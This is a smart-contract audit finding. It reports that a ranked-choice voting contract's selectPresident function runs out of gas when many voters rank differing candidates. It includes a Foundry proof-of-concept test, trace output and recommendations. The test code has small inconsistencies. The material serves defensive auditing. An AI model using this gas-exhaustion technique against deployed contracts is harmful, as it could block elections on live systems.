Summary
selectPresident function is susceptible to out-of-gas errors when dealing with a large number of voters, each selecting different candidates. This could lead to failed elections or incomplete vote counting, compromising the integrity of the voting process.
Vulnerability Details
While the contract limits the maximum number of candidates to 10 (but these 10 are also not fixed), there's no limit on the number of voters. The _selectPresidentRecursive function, which is called by selectPresident, consume excessive gas when processing votes from many voters, especially if each voter ranks candidates differently.
POC
Add the following test in existing test suite:
function generateUniqueCandidate(uint i) public pure returns (address) {
return address(uint160(i + 1000));
}
function testOutOfGasVulnerabilityWithDiverseCandidates() public {
require(voters.length >= 100, "Test requires at least 200 voters");
for (uint256 i = 0; i < 100; i++) {
address[] memory voterCandidates = new address[]();
for (uint256 j = 0; j < 10; j++) {
if (j < 8) {
voterCandidates[j] = generateUniqueCandidate(i * 10 + j);
} else {
voterCandidates[j] = generateUniqueCandidate(2000 + j - 8);
}
}
for (uint256 j = 0; j < 10; j++) {
uint256 swapIndex = j +
(uint256(keccak256(abi.encodePacked(i, j))) % (10 - j));
(voterCandidates[j], voterCandidates[swapIndex]) = (
voterCandidates[swapIndex],
voterCandidates[j]
);
}
vm.prank(voters[i]);
rankedChoice.rankCandidates(voterCandidates);
}
vm.warp(block.timestamp + rankedChoice.getDuration());
vm.expectRevert();
rankedChoice.selectPresident();
}
Run forge test --mt testOutOfGasVulnerabilityWithDiverseCandidates -vvvvv in your terminal, it will show following output:
[⠊] Compiling...
[⠔] Compiling 1 files with Solc 0.8.24
[⠒] Solc 0.8.24 finished in 1.44s
Compiler run successful!
..
..
..
│ └─ ← [Stop]
├─ [236] RankedChoice::getDuration() [staticcall]
│ └─ ← [Return] 126144000 [1.261e8]
├─ [0] VM::warp(126144001 [1.261e8])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [1028284011] RankedChoice::selectPresident()
│ └─ ← [OutOfGas] EvmError: OutOfGas
│ └─ ← [Stop]
└─ ← [Stop]
Ran 1 test for test/RankedChoiceTest.t.sol:RankedChoiceTest
[PASS] testOutOfGasVulnerabilityWithDiverseCandidates() (gas: 1057401684)
Impact
President will be never be choosen due to out of gas, which won't be a good in democracy. This undermines the whole purpose of the protocol.
Tools Used
Manual Review, Foundry
Recommendations
candidate list must also be initialized so users can choose from them.
Voters must also be limited.